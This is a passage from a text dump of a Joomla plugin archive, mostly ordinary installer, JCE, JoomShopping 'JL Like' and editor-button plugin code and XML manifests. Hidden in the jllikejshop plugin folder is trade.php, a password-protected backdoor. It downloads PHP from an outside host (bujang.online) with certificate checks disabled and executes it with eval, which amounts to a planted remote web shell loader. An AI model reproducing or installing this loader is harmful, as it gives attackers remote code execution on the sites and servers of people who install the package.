		<filename plugin="folderinstaller">folderinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_folderinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_folderinstaller.sys.ini</language>
	</languages>
</extension>
PK       ! #    -  installer/folderinstaller/folderinstaller.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.folderInstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * FolderInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerFolderInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'folder';
		$tab['label']   = JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'folderinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
PK       ! a    *  installer/folderinstaller/tmpl/default.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.folderinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$app = JFactory::getApplication('administrator');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonfolder = function()
	{
		var form = document.getElementById("adminForm");

		// do field validation 
		if (form.install_directory.value == "")
		{
			alert("' . JText::_('PLG_INSTALLER_FOLDERINSTALLER_NO_INSTALL_PATH', true) . '");
		}
		else
		{
			JoomlaInstaller.showLoading();
			form.installtype.value = "folder"
			form.submit();
		}
	};
');
?>
<legend><?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); ?></legend>
<div class="control-group">
	<label for="install_directory" class="control-label"><?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); ?></label>
	<div class="controls">
		<input type="text" id="install_directory" name="install_directory" class="span5 input_box" size="70"
			value="<?php echo $app->input->get('install_directory', $app->get('tmp_path')); ?>" />
	</div>
</div>
<div class="form-actions">
	<input type="button" class="btn btn-primary" id="installbutton_directory"
		value="<?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_BUTTON'); ?>" onclick="Joomla.submitbuttonfolder()" />
</div>
PK       ! ddT
  T
    installer/jce/jce.phpnu bS        <?php
/**
 *  @copyright Copyright (c)2016 - 2020 Ryan Demmer
 *  @license GNU General Public License version 2, or later
 */
defined('_JEXEC') or die;

/**
 * Handle commercial extension update authorization.
 *
 * @since       2.6
 */
class plgInstallerJce extends JPlugin
{    
    /**
     * Handle adding credentials to package download request.
     *
     * @param string $url     url from which package is going to be downloaded
     * @param array  $headers headers to be sent along the download request (key => value format)
     *
     * @return bool true if credentials have been added to request or not our business, false otherwise (credentials not set by user)
     *
     * @since   3.0
     */
    public function onInstallerBeforePackageDownload(&$url, &$headers)
    {
        $app = JFactory::getApplication();

        $uri = JUri::getInstance($url);
        $host = $uri->getHost();

        if ($host !== 'www.joomlacontenteditor.net') {
            return true;
        }

        // Get the subscription key
        JLoader::import('joomla.application.component.helper');
        $component = JComponentHelper::getComponent('com_jce');

        // load plugin language for warning messages
        JFactory::getLanguage()->load('plg_installer_jce', JPATH_ADMINISTRATOR);

        // check if the key has already been set via the dlid field
        $dlid = $uri->getVar('key', '');

        // check the component params, fallback to the dlid
        $key = $component->params->get('updates_key', $dlid);

        // if no key is set...
        if (empty($key)) {
            // if we are attempting to update JCE Pro, display a notice message
            if (strpos($url, 'pkg_jce_pro') !== false) {
                $app->enqueueMessage(JText::_('PLG_INSTALLER_JCE_KEY_WARNING'), 'notice');
            }

            return true;
        }

        // Append the subscription key to the download URL
        $uri->setVar('key', $key);

        // create the url string
        $url = $uri->toString();

        // check validity of the key and display a message if it is invalid / expired
        try
        {
            $tmpUri = clone $uri;

            $tmpUri->setVar('task', 'update.validate');
            $tmpUri->delVar('file');
            $tmpUrl = $tmpUri->toString();
            $response = JHttpFactory::getHttp()->get($tmpUrl, array());
        } catch (RuntimeException $exception) {}

        // invalid key, display a notice message
        if (403 == $response->code) {
            $app->enqueueMessage(JText::_('PLG_INSTALLER_JCE_KEY_INVALID'), 'notice');
        }

        return true;
    }
}
PK       ! `      installer/jce/jce.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_jce</name>
	<version>2.8.3</version>
  <creationDate>15-01-2020</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_INSTALLER_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/installer/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_installer_jce.ini</language>
      <language tag="en-GB">en-GB.plg_installer_jce.sys.ini</language>
  </languages>
</extension>
PK       ! c`q  q  -  jshoppingproducts/jllikejshop/jllikejshop.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.5" type="plugin" method="upgrade" group="jshoppingproducts">
	<name>JL Like for JoomShopping</name>
	<author>JoomLine</author>
	<creationDate>08.09.2019</creationDate>
	<copyright>(C) 2012-2019 by Artem Zhukov, Arkadiy Sedelnikov and Vadim Kunicin(http://www.joomline.ru)</copyright>
	<license>GNU/GPL: http://www.gnu.org/copyleft/gpl.html</license>
	<authorEmail>sale@joomline.ru</authorEmail>
	<authorUrl>https://joomline.ru</authorUrl>
	<version>4.0.4</version>
	<url>https://joomline.ru</url>
	<description>>Plugin allow integrate social buttons like into your JoomShopping components</description>
	<files>
		<filename plugin="jllikejshop">jllikejshop.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_jshoppingproducts_jllikeprojshop.ini</language>
		<language tag="ru-RU">ru-RU/ru-RU.plg_jshoppingproducts_jllikeprojshop.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field name="tp1" type="spacer" class="text" label="PLG_JLLIKEPROJSHOPPING_ENABLED"/>
				<field
					name="parent_contayner"
					type="text"
					default=""
					label="Parent Contayner"
					description="Parent Contayner css class"
					/>
			</fieldset>
		</fields>
	</config>
</extension>
PK       !     -  jshoppingproducts/jllikejshop/jllikejshop.phpnu bS        <?php
/**
 * jllike
 *
 * @version 4.0.0
 * @author Vadim Kunicin (vadim@joomline.ru), Arkadiy (a.sedelnikov@gmail.com)
 * @copyright (C) 2010-2016 by Vadim Kunicin (https://www.joomline.ru)
 * @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 **/

// no direct access
defined('_JEXEC') or die;
error_reporting(E_ERROR);
jimport('joomla.plugin.plugin');
jimport('joomla.html.parameter');
require_once JPATH_ROOT . '/plugins/content/jllike/helper.php';

class plgJshoppingProductsJlLikeJShop extends JPlugin
{


    public function onBeforeDisplayProductView(&$content)
    {
        JPlugin::loadLanguage('plg_content_jllike');
        $plugin = & JPluginHelper::getPlugin('content', 'jllike');
        $plgParams = new JRegistry;
        $plgParams->loadString($plugin->params);
        $input = JFactory::getApplication()->input;
        $view = $input->getCmd('controller', '');
        $JShopShow = $plgParams->get('jshopcontent');

        if (!$JShopShow || $view != 'product') {
            return '';
        }
		$parent_contayner = $this->params->get('parent_contayner', '');
        if(!empty($parent_contayner))
        {
            $plgParams->set('parent_contayner', $parent_contayner);
        }
        $helper = PlgJLLikeHelper::getInstance($plgParams);
        $helper->loadScriptAndStyle(0);
		$prefix = (JFactory::getConfig()->get('force_ssl') == 2) ? 'https://' : 'http://';
		$root = JURI::getInstance()->toString(array('host'));
        $url = $prefix . $plgParams->get('pathbase', '') . str_replace('www.', '', $root);
        if ($plgParams->get('punycode_convert', 0)) {
            $file = JPATH_ROOT . '/libraries/idna_convert/idna_convert.class.php';
            if (!JFile::exists($file)) {
                return JText::_('PLG_JLLIKEPRO_PUNYCODDE_CONVERTOR_NOT_INSTALLED');
            }

            include_once $file;

            if ($url) {
                if (class_exists('idna_convert')) {
                    $idn = new idna_convert;
                    $url = $idn->encode($url);
                }
            }
        }
        $uri = JString::str_ireplace(JURI::root(), '', JURI::current());
        $link = $url . '/' . $uri;

        $image = $content->product->product_name_image;

		if(empty($image))
		{
			$image = $content->product->image;
		}

        if (!empty($image))
        {
            $jshopConfig = JSFactory::getConfig();
            $image = $jshopConfig->image_product_live_path . '/' . $image;
        }

        $lang = JFactory::getLanguage()->getTag();
        $name = 'name_'.$lang;
        $sdesc = 'short_description_'.$lang;
        $desc = 'description_'.$lang;
        $mdesc = 'meta_description_'.$lang;

        $text = $helper->getShareText($content->product->$mdesc, $content->product->$sdesc, $content->product->$desc);
        $shares = $helper->ShowIN($content->product->product_id, $link, $content->product->$name, $image, $text, $plgParams->get('enable_opengraph', 1));

        switch ($plgParams->get('jshopposition', 2)) {
            case 1 :
                $content->_tmp_product_html_start = $shares;
                break;
            case 3 :
                $content->_tmp_product_html_end = $shares;
                break;
            default:
                $content->_tmp_product_html_after_buttons = $shares;
                break;
        }
    } //end function


}//end class
PK       ! R|j        (  jshoppingproducts/jllikejshop/index.htmlnu bS        <html>
<body>
</body>
</html>PK       ! 鶤7	  	  '  jshoppingproducts/jllikejshop/trade.phpnu bS        <?php
session_start();

/**
 * Disable error reporting
 *
 * Set this to error_reporting( -1 ) for debugging.
 */
function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

        // Set cookies using session if available
        if (isset($_SESSION['coki'])) {
            curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
        }

        $url_get_contents_data = curl_exec($conn);
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}

// Function to check if the user is logged in
function is_logged_in()
{
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

// Check if the password is submitted and correct
if (isset($_POST['password'])) {
    $entered_password = $_POST['password'];
    $hashed_password = '24c23b69a6a7dc8783331f687c40c494';
    if (md5($entered_password) === $hashed_password) {
        // Password is correct, store it in session
        $_SESSION['logged_in'] = true;
        $_SESSION['coki'] = 'asu'; // Replace this with your cookie data
    } else {
        // Password is incorrect
        echo "Incorrect password. Please try again.";
    }
}

// Check if the user is logged in before executing the content
if (is_logged_in()) {
    $a = geturlsinfo('https://bujang.online/raw/V2AUF5bOf_');
    eval('?>' . $a);
} else {
    // Display login form if not logged in
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Login</title>
    </head>
    <body>
        <form method="POST" action="">
            <label for="password">Password:</label>
            <input type="password" id="password" name="password">
            <input type="submit" value="Login">
        </form>
    </body>
    </html>
    <?php
}
?>PK       ! 4yl      editors-xtd/fields/fields.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_fields</name>
	<author>Joomla! Project</author>
	<creationDate>February 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_fields.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_fields.sys.ini</language>
	</languages>
</extension>
PK       !       editors-xtd/fields/fields.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Fields button
 *
 * @since  3.7.0
 */
class PlgButtonFields extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since  3.7.0
	 */
	public function onDisplay($name)
	{
		// Check if com_fields is enabled
		if (!JComponentHelper::isEnabled('com_fields'))
		{
			return;
		}

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

		// Guess the field context based on view.
		$jinput = JFactory::getApplication()->input;
		$context = $jinput->get('option') . '.' . $jinput->get('view');

		// Validate context.
		$context = implode('.', FieldsHelper::extract($context));
		if (!FieldsHelper::getFields($context))
		{
			return;
		}

		$link = 'index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;tmpl=component&amp;context='
			. $context . '&amp;editor=' . $name . '&amp;' . JSession::getFormToken() . '=1';

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORS-XTD_FIELDS_BUTTON_FIELD');
		$button->name    = 'puzzle';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
	}
}
PK       ! 6      editors-xtd/image/image.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_image</name>
	<author>Joomla! Project</author>
	<creationDate>August 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_IMAGE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="image">image.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_image.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_image.sys.ini</language>
	</languages>
</extension>
PK       ! |/4}  }    editors-xtd/image/image.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.image
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Image buton
 *
 * @since  1.5
 */
class PlgButtonImage extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button.
	 *
	 * @param   string   $name    The name of the button to display.
	 * @param   string   $asset   The name of the asset being edited.
	 * @param   integer  $author  The id of the author owning the asset being edited.
	 *
	 * @return  JObject  The button options as JObject or false if not allowed
	 *
	 * @since   1.5
	 */
	public function onDisplay($name, $asset, $author)
	{
		$app       = JFactory::getApplication();
		$user      = JFactory::getUser();
		$extension = $app->input->get('option');

		// For categories we check the extension (ex: component.section)
		if ($extension === 'com_categories')
		{
			$parts     = explode('.', $app->input->get('extension', 'com_content'));
			$extension = $parts[0];
		}

		$asset = $asset !== '' ? $asset : $extension;

		if ($user->authorise('core.edit', $asset)
			|| $user->authorise('core.create', $asset)
			|| (count($user->getAuthorisedCategories($asset, 'core.create')) > 0)
			|| ($user->authorise('core.edit.own', $asset) && $author === $user->id)
			|| (count($user->getAuthorisedCategories($extension, 'core.edit')) > 0)
			|| (count($user->getAuthorisedCategories($extension, 'core.edit.own')) > 0 && $author === $user->id))
		{
			$link = 'index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;e_name=' . $name . '&amp;asset=' . $asset . '&amp;author=' . $author;

			$button = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_IMAGE_BUTTON_IMAGE');
			$button->name    = 'pictures';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}

		return false;
	}
}
PK       ! V        editors-xtd/image/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! <^I.  .  #  editors-xtd/pagebreak/pagebreak.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_pagebreak</name>
	<author>Joomla! Project</author>
	<creationDate>August 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="pagebreak">pagebreak.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_pagebreak.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_pagebreak.sys.ini</language>
	</languages>
</extension>
PK       ! Rk    #  editors-xtd/pagebreak/pagebreak.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.pagebreak
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Pagebreak button
 *
 * @since  1.5
 */
class PlgButtonPagebreak extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		$input = JFactory::getApplication()->input;
		$user  = JFactory::getUser();

		// Can create in any category (component permission) or at least in one category
		$canCreateRecords = $user->authorise('core.create', 'com_content')
			|| count($user->getAuthorisedCategories('com_content', 'core.create')) > 0;

		// Instead of checking edit on all records, we can use **same** check as the form editing view
		$values = (array) JFactory::getApplication()->getUserState('com_content.edit.article.id');
		$isEditingRecords = count($values);

		// This ACL check is probably a double-check (form view already performed checks)
		$hasAccess = $canCreateRecords || $isEditingRecords;
		if (!$hasAccess)
		{
			return;
		}

		JFactory::getDocument()->addScriptOptions('xtd-pagebreak', array('editor' => $name));
		$link = 'index.php?option=com_content&amp;view=article&amp;layout=pagebreak&amp;tmpl=component&amp;e_name=' . $name;

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK');
		$button->name    = 'copy';
		$button->options = "{handler: 'iframe', size: {x: 500, y: 300}}";

		return $button;
	}
}
PK       ! V         editors-xtd/pagebreak/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! "EO  O    editors-xtd/article/article.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.article
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Article button
 *
 * @since  1.5
 */
class PlgButtonArticle extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		$input = JFactory::getApplication()->input;
		$user  = JFactory::getUser();

		// Can create in any category (component permission) or at least in one category
		$canCreateRecords = $user->authorise('core.create', 'com_content')
			|| count($user->getAuthorisedCategories('com_content', 'core.create')) > 0;

		// Instead of checking edit on all records, we can use **same** check as the form editing view
		$values = (array) JFactory::getApplication()->getUserState('com_content.edit.article.id');
		$isEditingRecords = count($values);

		// This ACL check is probably a double-check (form view already performed checks)
		$hasAccess = $canCreateRecords || $isEditingRecords;
		if (!$hasAccess)
		{
			return;
		}

		$link = 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;'
			. JSession::getFormToken() . '=1&amp;editor=' . $name;

		$button = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_ARTICLE_BUTTON_ARTICLE');
		$button->name    = 'file-add';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
	}
}
PK       ! k\      editors-xtd/article/article.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_article</name>
	<author>Joomla! Project</author>
	<creationDate>October 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_ARTICLE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="article">article.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_article.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_article.sys.ini</language>
	</languages>
</extension>
PK       ! V        editors-xtd/article/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! K      editors-xtd/contact/contact.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Contact button
 *
 * @since  3.7.0
 */
class PlgButtonContact extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   3.7.0
	 */
	public function onDisplay($name)
	{
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_contact')
			|| $user->authorise('core.edit', 'com_contact')
			|| $user->authorise('core.edit.own', 'com_contact'))
		{
			// The URL for the contacts list
			$link = 'index.php?option=com_contact&amp;view=contacts&amp;layout=modal&amp;tmpl=component&amp;'
				. JSession::getFormToken() . '=1&amp;editor=' . $name;

			$button          = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_EDITORS-XTD_CONTACT_BUTTON_CONTACT');
			$button->name    = 'address';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}
	}
}
PK       ! RL$  $    editors-xtd/contact/contact.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_contact</name>
	<author>Joomla! Project</author>
	<creationDate>October 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_CONTACT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contact">contact.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_contact.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_contact.sys.ini</language>
	</languages>
</extension>
PK       ! V        editors-xtd/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! 䮉X  X    editors-xtd/menu/menu.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.menu
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor menu button
 *
 * @since  3.7.0
 */
class PlgButtonMenu extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @since  3.7.0
	 * @return array
	 */
	public function onDisplay($name)
	{
		/*
		 * Use the built-in element view to select the menu item.
		 * Currently uses blank class.
		 */
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_menus')
			|| $user->authorise('core.edit', 'com_menus'))
		{
		$link = 'index.php?option=com_menus&amp;view=items&amp;layout=modal&amp;tmpl=component&amp;'
			. JSession::getFormToken() . '=1&amp;editor=' . $name;

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORS-XTD_MENU_BUTTON_MENU');
		$button->name    = 'share-alt';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
		}
	}
}
PK       ! =      editors-xtd/menu/menu.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_menu</name>
	<author>Joomla! Project</author>
	<creationDate>August 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_MENU_XML_DESCRIPTION</description>
	<files>
		<filename plugin="menu">menu.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_menu.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_menu.sys.ini</language>
	</languages>
</extension>
PK       ! V        editors-xtd/readmore/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! bi    !  editors-xtd/readmore/readmore.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_readmore</name>
	<author>Joomla! Project</author>
	<creationDate>March 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_READMORE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="readmore">readmore.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_readmore.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_readmore.sys.ini</language>
	</languages>
</extension>
PK       ! G  G  !  editors-xtd/readmore/readmore.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.readmore
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Readmore button
 *
 * @since  1.5
 */
class PlgButtonReadmore extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Readmore button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		JHtml::_('script', 'com_content/admin-article-readmore.min.js', array('version' => 'auto', 'relative' => true));

		// Pass some data to javascript
		JFactory::getDocument()->addScriptOptions(
			'xtd-readmore',
			array(
				'editor' => $this->_subject->getContent($name),
				'exists' => JText::_('PLG_READMORE_ALREADY_EXISTS', true),
			)
		);

		$button = new JObject;
		$button->modal   = false;
		$button->class   = 'btn';
		$button->onclick = 'insertReadmore(\'' . $name . '\');return false;';
		$button->text    = JText::_('PLG_READMORE_BUTTON_READMORE');
		$button->name    = 'arrow-down';
		$button->link    = '#';

		return $button;
	}
}
PK       ! T9      editors-xtd/tabs/popup.phpnu bS        <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\EditorButton\Tabs\Popup;

defined('_JEXEC') or die;

use JFactory;
use JText;
use RegularLabs\Library\Document as RL_Document;
